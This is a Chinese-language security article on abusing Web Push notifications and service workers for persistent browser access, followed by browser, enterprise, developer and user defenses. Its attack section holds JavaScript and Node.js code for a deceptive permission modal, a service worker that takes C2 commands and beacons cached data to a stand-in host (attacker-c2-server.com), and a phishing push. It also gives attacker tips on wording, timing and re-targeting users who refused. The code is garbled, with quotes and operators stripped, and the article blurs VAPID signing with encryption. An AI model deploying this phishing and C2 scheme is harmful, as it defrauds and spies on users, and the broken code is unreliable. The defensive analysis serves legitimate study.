Web推送通知滥用:浏览器持久化攻击原理与防御实践
1. 项目概述当“便利”成为攻击者的武器作为一名长期在Web安全领域摸爬滚打的老兵我见过太多利用浏览器漏洞、插件缺陷发起的攻击。但近年来一种更隐蔽、更“合法”的攻击方式开始流行它披着“用户体验”的外衣利用的是我们每天都会接触的Web推送通知功能。这个项目就是深入剖析这种基于Web推送通知的浏览器持久化攻击机制并探讨如何构建有效的防御体系。简单来说这不再是传统的恶意脚本注入或跨站攻击。攻击者利用现代浏览器提供的、用于向用户发送消息提醒的Web Push API建立了一条从攻击者服务器到受害者浏览器、且能绕过大部分安全检测的持久化通信信道。想象一下你访问过一个恶意网站它弹窗请求“显示通知”权限你一不小心点了“允许”。从此即使你关闭了该网站标签页甚至重启了浏览器攻击者的服务器依然能像“官方消息”一样向你推送钓鱼链接、欺诈信息甚至作为命令与控制C2通道远程操控你的浏览器执行恶意任务。这种攻击的核心在于“持久化”——它不依赖于网站会话Session或本地存储LocalStorage的存活周期而是利用了操作系统级别的通知服务实现了近乎“常驻”的访问能力。这项研究适合所有Web开发者、安全运维人员、渗透测试工程师以及对现代Web安全威胁感兴趣的朋友。无论你是想加固自己的产品还是想理解前沿的攻击手法以更好地进行防御这篇文章都将带你从原理到实践彻底拆解这个“温柔的陷阱”。2. Web推送通知技术原理与攻击面分析要理解攻击必须先理解其依托的技术本身。Web推送通知并非浏览器原生功能而是一套基于一系列现代Web标准如Push API、Notification API、Service Workers构建的复杂机制。2.1 合法工作流程解析一个正常的Web推送流程通常包含以下几个关键角色和步骤前端页面你的网站通过JavaScript调用Notification.requestPermission()向用户请求通知权限。Service Worker一个在浏览器后台独立运行的脚本是推送功能的核心。即使网站关闭它也能被推送事件唤醒。推送服务Push Service由浏览器厂商如Google的FCM for Chrome, Mozilla的Autopush for Firefox或操作系统提供的第三方服务。它负责接收应用服务器的消息并转发给正确的浏览器实例。应用服务器Your Backend你的网站服务器负责生成消息并发送到推送服务。标准流程如下用户访问网站并授权通知。网站前端通过PushManager.subscribe()向浏览器推送服务订阅获得一个唯一的PushSubscription对象其中包含一个端点URLendpoint和一个用于加密的密钥。网站前端将这个PushSubscription发送给自己的应用服务器保存。当需要推送时应用服务器构造一条加密的消息通过HTTP POST请求发送到PushSubscription中的端点URL即推送服务。推送服务将消息推送到对应的浏览器。浏览器的Service Worker被唤醒接收并解密消息然后使用Notification API在操作系统层面弹出通知。这个设计的初衷是为了实现网站与用户的高效、异步通信提升用户粘性例如新闻更新、聊天消息、物流状态提醒等。2.2 攻击者如何扭曲这一流程攻击者正是钻了这套标准化流程的空子将其武器化。攻击面主要存在于以下几个环节权限诱导与滥用这是攻击的起点。攻击者通过社会工程学手段将恶意网站伪装成正常网站如虚假登录页、山寨软件下载站、色情或赌博网站并设计极具诱惑性或欺骗性的弹窗文案如“点击允许验证身份”、“允许接收重要安全更新”诱使用户授权通知权限。一旦授权攻击就成功了一半。推送服务端点的控制与滥用用户订阅后攻击者服务器就获得了那个指向浏览器推送服务的端点URL。这个URL是攻击者与受害者浏览器之间通信的“电话号码”。攻击者可以随时向这个端点发送任意内容。Service Worker的持久化与隐蔽执行Service Worker是攻击的“驻军”。它被注册在用户的浏览器中拥有独立的执行上下文和生命周期。即使恶意网站的标签页全部关闭这个Service Worker依然存在于浏览器中并可以响应推送事件。更危险的是一个设计良好的恶意Service Worker可以做到极其隐蔽不进行任何明显的网络请求或DOM操作仅在被推送事件唤醒时执行一小段内存中的恶意逻辑然后迅速休眠从而规避基于行为的安全检测。推送内容的恶意构造攻击者发送的推送消息其“通知标题”和“正文”是直接展示给用户看的。他们可以在这里放置钓鱼链接伪装成银行、社交平台、公司内网的登录链接。恐吓软件Scareware信息如“你的电脑已感染10个病毒立即点击清理”。欺诈广告高收益投资、虚假中奖信息。命令与控制指令通过隐写术或在加密消息体中携带指令控制Service Worker执行下一步操作如下载并执行恶意载荷、窃取本地数据并回传等。注意这里存在一个关键点。Web Push API规范要求推送消息体必须使用VAPIDVoluntary Application Server Identification密钥或旧的GCM密钥进行加密。这意味着从应用服务器到推送服务这段是加密的推送服务无法解密内容。但推送服务到浏览器这段以及浏览器内Service Worker对消息的解密使用的是订阅时生成的用户密钥对。因此攻击者服务器只要持有正确的密钥就能构造合法的加密消息。这并非协议漏洞而是功能被滥用。2.3 与传统攻击方式的对比为了更清晰地理解这种攻击的独特性我们将其与几种常见的浏览器端攻击进行对比攻击方式持久化依赖用户感知检测难度典型利用场景XSS (跨站脚本)会话Cookie、LocalStorage通常无感或页面异常中等可通过内容安全策略(CSP)缓解窃取会话、篡改页面恶意浏览器扩展扩展安装状态需用户主动安装扩展高扩展审核是主要防线窃取浏览数据、挖矿、广告注入传统C2通信保持与恶意服务器的长连接或轮询可能因异常网络流量被察觉较高网络流量分析可发现僵尸网络、远控基于推送通知的持久化攻击操作系统通知权限 Service Worker高会收到可见通知但易被误认为合法消息极高利用合法系统通道流量混杂于正常推送钓鱼诱导、隐蔽C2、广告欺诈从对比可以看出这种攻击最大的特点在于其**“合法性”和“操作系统层级”**的持久化。它不依赖任何浏览器漏洞而是完全遵循标准API的“合规”操作。其通信流量混杂在Google、Mozilla等巨量的合法推送流量中使得基于流量特征的检测几乎失效。而持久化能力直接绑定在用户授予的权限上只要用户不手动撤销权限攻击就可能一直存在。3. 攻击链的深度拆解与模拟实现理解了原理我们通过一个模拟的攻击者视角来拆解一条完整的攻击链是如何构建和运作的。请注意以下内容仅用于安全研究、防御方案设计和意识教育切勿用于非法活动。3.1 第一阶段恶意网站与权限获取攻击始于一个精心设计的着陆页Landing Page。这个页面可能通过搜索引擎广告SEO毒化、社交工程链接、被黑的正常网站挂载等方式传播。关键代码与技巧// 恶意网站前端脚本 (attack.js) window.addEventListener(load, function() { // 延迟弹出避免用户刚进入网站就产生反感 setTimeout(() { // 检查浏览器是否支持推送 if (!(Notification in window) || !(serviceWorker in navigator) || !(PushManager in window)) { alert(您的浏览器不支持最新功能建议使用Chrome或Edge以获得最佳体验。); // 可能引导用户下载“专用浏览器”实为恶意软件 return; } // 检查当前权限状态 if (Notification.permission granted) { // 已经授权直接开始订阅流程 subscribeUserToPush(); } else if (Notification.permission ! denied) { // 使用欺骗性文案请求权限 // 技巧将请求与网站核心功能绑定增加用户允许的概率 showFakePermissionModal(); } // 如果权限是denied则暂时放弃可能记录该用户为“警惕用户” }, 3000); // 延迟3秒模拟页面加载完成 }); function showFakePermissionModal() { // 创建一个伪装成系统或重要更新的弹窗 const modal document.createElement(div); modal.innerHTML div styleposition: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 9999; display: flex; justify-content: center; align-items: center; div stylebackground: white; padding: 30px; border-radius: 10px; max-width: 400px; box-shadow: 0 5px 15px rgba(0,0,0,0.3); h3 stylecolor: #d32f2f;i classfas fa-shield-alt/i 安全验证请求/h3 p为确保您的账户安全并防止机器人访问我们需要验证您是人类用户。/p p请点击“允许”以完成验证并接收重要的安全状态通知。/p psmall这不会向您发送垃圾信息/small/p div styletext-align: right; margin-top: 20px; button iddenyBtn stylepadding: 8px 16px; margin-right: 10px; border: 1px solid #ccc; background: #f5f5f5;拒绝/button button idallowBtn stylepadding: 8px 16px; background: #4CAF50; color: white; border: none;允许验证/button /div /div /div ; document.body.appendChild(modal); document.getElementById(allowBtn).onclick function() { Notification.requestPermission().then(permission { if (permission granted) { subscribeUserToPush(); // 可以在这里给用户一些“验证成功”的虚假反馈 alert(验证成功感谢您的配合。); } document.body.removeChild(modal); }); }; document.getElementById(denyBtn).onclick function() { // 拒绝后可以展示另一个更强制性的弹窗或者记录用户行为 document.body.removeChild(modal); // 可能跳转到另一个要求更低的验证页面如CAPTCHA但最终目标仍是获取权限 }; }实操心得时机选择不要在用户刚进入页面时就请求权限这极易引起反感。最好在用户与页面有一定交互如滚动、点击后或通过一个虚假的“操作成功”环节来触发。文案设计避免使用“通知”、“订阅”等直接词汇。将其与“安全验证”、“登录保护”、“订单状态”、“必需更新”等用户关心的、看似必需的功能绑定。降级处理对于直接拒绝的用户不要立即放弃。可以记录其User-Agent和IP未来可能采用其他攻击向量或者在一段时间后再次尝试如果用户再次访问。3.2 第二阶段Service Worker注册与推送订阅一旦用户点击“允许”真正的持久化机制就开始部署。// attack.js 续 function subscribeUserToPush() { navigator.serviceWorker.register(/sw.js).then(registration { console.log(Service Worker 注册成功:, registration.scope); return registration.pushManager.getSubscription().then(existingSubscription { if (existingSubscription) { // 如果已经订阅直接发送订阅信息到攻击者服务器 return sendSubscriptionToServer(existingSubscription, existing); } // 否则创建新订阅 const applicationServerKey urlBase64ToUint8Array(你的_VAPID_公钥); // 攻击者自己的VAPID密钥 return registration.pushManager.subscribe({ userVisibleOnly: true, // 必须为true但攻击者仍可发送用户不可见的通知通过不显示 applicationServerKey: applicationServerKey }).then(newSubscription { console.log(用户已订阅推送:, newSubscription); return sendSubscriptionToServer(newSubscription, new); }); }); }).catch(err { console.error(Service Worker 注册或订阅失败:, err); // 失败处理可能记录日志或尝试备用方案 }); } function sendSubscriptionToServer(subscription, type) { // 将订阅对象发送到攻击者的C2服务器 fetch(https://attacker-c2-server.com/api/subscribe, { method: POST, headers: { Content-Type: application/json }, body: JSON.stringify({ subscription: subscription, type: type, userAgent: navigator.userAgent, timestamp: Date.now() // 可以附加更多指纹信息 }), // 注意这里可能使用Beacon API或img.src来发送即使页面关闭也能确保发送成功 keepalive: true }).then(response { if (response.ok) { console.log(订阅信息已发送到服务器); } }).catch(err console.error(发送订阅信息失败:, err)); }关键文件恶意Service Worker (sw.js)// sw.js - 攻击者的后台驻军 self.addEventListener(push, event { console.log(Push event received:, event); // 尝试解析推送数据 let payload {}; try { payload event.data ? event.data.json() : {}; } catch (e) { payload { title: 默认标题, body: 默认内容 }; } // 判断是否为“静默”指令不显示通知 if (payload.silent true payload.command) { // 执行静默命令 handleSilentCommand(payload.command, payload.data); // 即使不显示通知也必须调用event.waitUntil event.waitUntil(Promise.resolve()); return; } // 否则显示一个通知可能是钓鱼诱导 const options { body: payload.body || 您有一条新消息, icon: payload.icon || /icon.png, // 可能使用伪造的信任图标 badge: /badge.png, data: payload.data || {}, // data字段可以携带URL等 actions: payload.actions || [] // 可以添加按钮如“立即查看” }; event.waitUntil( self.registration.showNotification(payload.title || 通知, options) ); }); self.addEventListener(notificationclick, event { console.log(Notification click:, event.notification.data); event.notification.close(); // 当用户点击通知时打开一个钓鱼页面或执行其他操作 if (event.notification.data.url) { event.waitUntil( clients.openWindow(event.notification.data.url) // 打开钓鱼链接 ); } else if (event.action) { // 处理通知上的按钮点击 handleNotificationAction(event.action, event.notification.data); } }); function handleSilentCommand(command, data) { // 处理来自C2服务器的静默指令 switch(command) { case ping: // 简单回传确认存活 sendBeacon(https://attacker-c2-server.com/api/pong, { status: alive }); break; case exfiltrate: // 窃取数据例如尝试访问IndexedDB、LocalStorage受同源策略限制但SW运行在注册域下 // 这里简化处理实际攻击会更复杂 exfiltrateData(data.key); break; case eval: // **高危**执行动态代码极度危险仅作原理演示 // 实际攻击中可能会通过importScripts加载外部脚本或进行复杂的逻辑判断 try { // 注意eval在Service Worker中通常被禁用或严格限制 // 更可能的方式是预置多种功能模块通过命令激活 console.log(Eval command received, but eval may be disabled.); } catch(e) {} break; case update_self: // 自我更新从指定URL获取新的Service Worker脚本 self.registration.update(); break; default: console.warn(Unknown command:, command); } } function sendBeacon(url, data) { // 使用sendBeacon发送数据即使页面关闭也能发送 navigator.sendBeacon(url, JSON.stringify(data)); } function exfiltrateData(key) { // 这是一个简化的示例。实际上Service Worker可以访问其作用域下的缓存和IndexedDB。 caches.open(my-cache).then(cache { cache.keys().then(requests { const urls requests.map(req req.url); sendBeacon(https://attacker-c2-server.com/api/exfil, { type: cacheUrls, data: urls }); }); }); // 尝试访问LocalStorage注意Service Worker不能直接访问DOM但可以通过postMessage与页面通信来间接获取 }实操心得与注意事项VAPID密钥攻击者需要生成自己的VAPID密钥对公钥和私钥。公钥用于前端订阅私钥用于服务器端对推送消息进行签名加密。这完全是一个合法的流程。userVisibleOnly: true的绕过这个选项要求每次推送都必须向用户显示一个通知。但攻击者可以通过发送一个不包含title和body或者包含无效显示数据的推送然后让Service Worker在push事件中不调用showNotification。虽然规范要求必须显示但一些浏览器的实现可能存在差异或者攻击者可以发送一个极快闪退的通知视觉上难以察觉。更常见的是攻击者会发送真正的恶意通知利用用户点击来达成目的。Service Worker的作用域Service Worker只能控制其注册路径及其子路径下的页面。因此攻击者通常会将恶意SW注册在网站的根路径/以最大化控制范围。更新与持久性Service Worker一旦注册浏览器会定期例如每24小时检查更新。攻击者可以通过C2服务器发送update_self指令或者直接在服务器上更新sw.js文件来实现恶意功能的远程升级。3.3 第三阶段C2服务器与持久化通信攻击者的命令与控制C2服务器负责管理所有被入侵的浏览器“节点”。服务器核心功能订阅管理接收并存储来自受害者浏览器的PushSubscription信息端点URL、密钥关联用户指纹如IP、User-Agent的哈希。消息队列与调度支持向单个或批量订阅发送推送消息。消息内容可以是钓鱼通知也可以是携带了加密指令的“静默”推送。指令集定义一套协议用于远程控制Service Worker的行为如phish url发送一个指向钓鱼页面的通知。collect data_type命令SW收集指定类型的数据如缓存的URL列表。ping检查节点是否存活。upgrade script_url指示SW更新自身脚本。数据渗出接收端接收从受害者浏览器通过sendBeacon、fetch等方式回传的窃取数据。模拟C2服务器发送推送的代码Node.js示例// attacker-server.js (部分关键代码) const webPush require(web-push); const vapidKeys { // 与前端使用的配对的VAPID密钥 publicKey: 你的公钥, privateKey: 你的私钥 }; webPush.setVapidDetails(mailto:attackerexample.com, vapidKeys.publicKey, vapidKeys.privateKey); // 从数据库中获取一个订阅对象 const pushSubscription { endpoint: https://fcm.googleapis.com/fcm/send/abcdef..., // 来自受害者的端点 keys: { p256dh: 用户公钥..., auth: 用户认证密钥... } }; // 发送一个钓鱼通知 const phishingPayload JSON.stringify({ title: 【安全警报】您的账户存在异常登录, body: 点击此处立即验证并保护您的账户安全。, icon: https://fake-bank.com/logo.png, // 伪造银行图标 data: { url: https://phishing-site.com/fake-bank-login // 钓鱼链接 } }); webPush.sendNotification(pushSubscription, phishingPayload) .then(response console.log(推送发送成功:, response)) .catch(err console.error(推送发送失败:, err)); // 发送一个静默指令不显示通知 const silentCommandPayload JSON.stringify({ silent: true, command: exfiltrate, data: { key: cacheUrls } }); // 注意web-push库可能要求payload非空。一种技巧是设置一个极短或不可见的通知内容。 // 或者可以研究特定推送服务如FCM对“静默通知”的支持。持久化维持技巧心跳机制C2服务器定期如每几小时向所有活跃订阅发送一个ping指令。Service Worker收到后回传pong。这既能确认节点存活也能保持Service Worker的“活跃”状态防止浏览器因长期闲置而将其停止。优雅降级如果发现某个端点长期不响应可能用户已撤销权限则将其标记为失效避免浪费资源。载荷分离为了保持Service Worker体积小、隐蔽性高复杂的恶意功能可以通过importScripts()动态从C2服务器加载实现模块化、可更新的攻击框架。4. 多维度防御体系构建与实践面对这种滥用合法功能的攻击防御必须从技术、管理和用户教育等多个层面协同进行。单一措施很难完全免疫。4.1 浏览器与操作系统层面的防御这是第一道也是理论上最有效的防线因为攻击依赖的是平台提供的API。权限请求界面的强化明确标识浏览器应在权限请求弹窗中更清晰地标明请求来源的网站域名并使用更醒目的警告颜色如红色标注“通知”权限可能带来的风险如“此网站可能通过通知向您发送广告或欺诈信息”。延迟与冷却对频繁请求通知权限的域名进行冷却期限制。如果一个域名被大量用户拒绝浏览器可以在一段时间内自动阻止该域名的权限请求或将其标记为可疑。权限仪表板可视化像Chrome的chrome://settings/content/notifications页面做得很好应继续优化让用户能一目了然地看到所有已授权网站并便捷地批量撤销或单独管理。推送服务端的审查与拦截滥用行为检测浏览器厂商的推送服务如FCM应建立机器学习模型检测异常的推送模式。例如一个新注册的域名在短时间内向海量不同的端点发送内容相似的推送或者推送内容中包含大量已知的钓鱼关键词、恶意链接。开发者身份验证VAPID的强化VAPID要求提供联系邮箱mailto:。推送服务可以对大量滥用投诉的邮箱关联的所有公钥进行封禁。甚至可以引入更严格的身份验证层级。速率限制与配额对单个发送者VAPID标识向单个端点或全局的推送频率、数量进行更严格的限制增加攻击者维持大规模僵尸网络的成本。Service Worker的生命周期管理闲置终止浏览器应更积极地终止长时间未被任何事件包括推送事件激活的Service Worker。虽然规范已有定义但策略可以更激进。安装与更新审核对于来自非HTTPS源、或内容发生剧烈变化的Service Worker脚本浏览器可以给出警告或要求用户确认。限制静默行为严格强制执行userVisibleOnly: true的语义。任何未能成功调用showNotification的push事件都应被视为异常并在开发者工具中报告多次异常可触发对该SW的禁用。4.2 企业网络与终端安全防护在企业环境中可以通过更严格的控制来防御此类攻击。网络层过滤与检测DNS过滤拦截已知的恶意域名、推送服务滥用域名以及常见的C2服务器域名。许多威胁情报源会提供这类列表。HTTPS流量解密与检测中间人在具备合法合规性的前提下企业网关可以对出站HTTPS流量进行解密并检测其中向推送服务端点如fcm.googleapis.com发送的POST请求。通过分析请求频率、目标端点集中度以及关联的源IP企业内网IP可以发现内部主机被控制的迹象。注意这需要部署根证书并得到明确授权且需谨慎处理隐私问题。流量行为分析建立正常用户访问推送服务的基线模型。例如一个内部IP在非工作时间频繁、规律地向推送服务发送请求而该IP对应的用户并无相关业务则可能为异常。终端安全软件增强浏览器扩展监控安全软件可以监控浏览器扩展和Service Worker的安装行为对来自非可信来源的进行告警。权限变更监控监控系统通知权限的设置变化特别是批量修改或由脚本触发的修改。内存与行为检测检测浏览器进程中是否存在长期潜伏、周期性唤醒且进行网络通信的Service Worker线程。组策略与集中管理禁用推送通知对于不需要此功能的特定用户群如呼叫中心、生产环境可以通过组策略或浏览器管理模板直接全局禁用Web推送通知功能。白名单机制只允许经过审批的、业务必需的网站申请通知权限。4.3 开发者最佳实践与用户自我防护防御不仅是平台和企业的事每一个网站开发者和最终用户都至关重要。给开发者的建议最小权限原则除非绝对必要不要请求通知权限。如果请求必须在最合适的上下文例如在用户明确表达了接收更新意愿的“消息设置”页面中进行并清晰说明用途。提供便捷的撤销渠道在网站设置中提供清晰、易找到的开关允许用户随时关闭通知。尊重用户的选择。实施内容安全策略CSP严格的CSP可以限制Service Worker能加载的脚本来源增加攻击者动态加载恶意代码的难度。例如Content-Security-Policy: script-src self; worker-src self定期审计检查自己网站注册的Service Worker确保它们都是自己部署的并且没有过期或被篡改的版本。给用户的自我防护指南谨慎授权当网站请求“显示通知”权限时停下来想一想“这个网站真的需要给我发通知吗” 对于新闻、社交、邮件等应用可能是合理的对于一次性使用的工具站、下载站、不明来源的链接一律点击“阻止”。定期清理每隔一段时间比如一个月访问浏览器设置中的通知管理页面如chrome://settings/content/notifications回顾并清理不再需要或不再信任的网站授权。警惕通知内容对于任何通过浏览器推送来的通知尤其是包含链接、要求立即操作如“验证账户”、“领取奖金”、“电脑有病毒”的通知保持高度怀疑。不要直接点击通知中的链接。正确的做法是手动打开浏览器输入你知道的官方网址再去查看相关信息。使用安全软件保持操作系统和杀毒软件更新它们可能会检测到某些基于推送的恶意行为模式。检查已安装的Service Worker在开发者工具F12的“Application”标签页下可以查看和管理当前网站注册的Service Worker。如果你发现一个不熟悉的网站下有活跃的SW可以考虑将其“Unregister”。4.4 检测与响应当攻击发生时即使防护严密攻击也可能发生。建立有效的检测与响应机制是关键。检测指标IOC异常权限请求日志监控网站上通知权限的授予率。如果某个页面的授予率异常高远高于行业平均或自身历史水平且该页面并非核心交互页面则需要调查。未知的Service Worker定期扫描企业内网检查是否有非公司域名的Service Worker被注册在员工浏览器中这需要端点代理支持。网络流量异常检测到内部主机与已知推送服务端点之间存在大量、规律的通信但并无对应的合法业务。用户投诉收到多名用户报告收到来自同一网站的欺诈性通知。响应流程立即遏制如果确认自身网站被入侵并用于发起此类攻击立即下线受影响页面清理恶意脚本并撤销所有已注册的恶意Service Worker可以通过服务器向所有订阅发送一条卸载指令或更新SW文件为一个空文件。威胁狩猎分析服务器日志找出攻击者注入恶意代码的入口点如未过滤的上传点、脆弱的第三方库。通知用户通过邮件、官方公告等渠道通知可能受影响的用户指导他们清理浏览器通知权限和Service Worker。提交报告将攻击中使用的域名、VAPID公钥、C2服务器IP等信息提交给浏览器厂商如Chrome Safe Browsing、威胁情报社区如VirusTotal以及相关的推送服务提供商帮助其更新黑名单。Web推送通知是一把双刃剑它在提升用户体验的同时也打开了新的攻击面。这种持久化攻击之所以危险在于它完美地隐藏在了正常功能的阴影之下。防御它没有银弹需要浏览器厂商、安全研究人员、企业IT管理员、开发者和最终用户形成一个协同的防御生态。对于安全从业者而言理解其完整攻击链是设计有效检测和缓解措施的前提。而对于普通用户提高警惕对每一个跳出来的权限请求说“不”直到你确认真的需要它或许是最简单也最有效的一步。
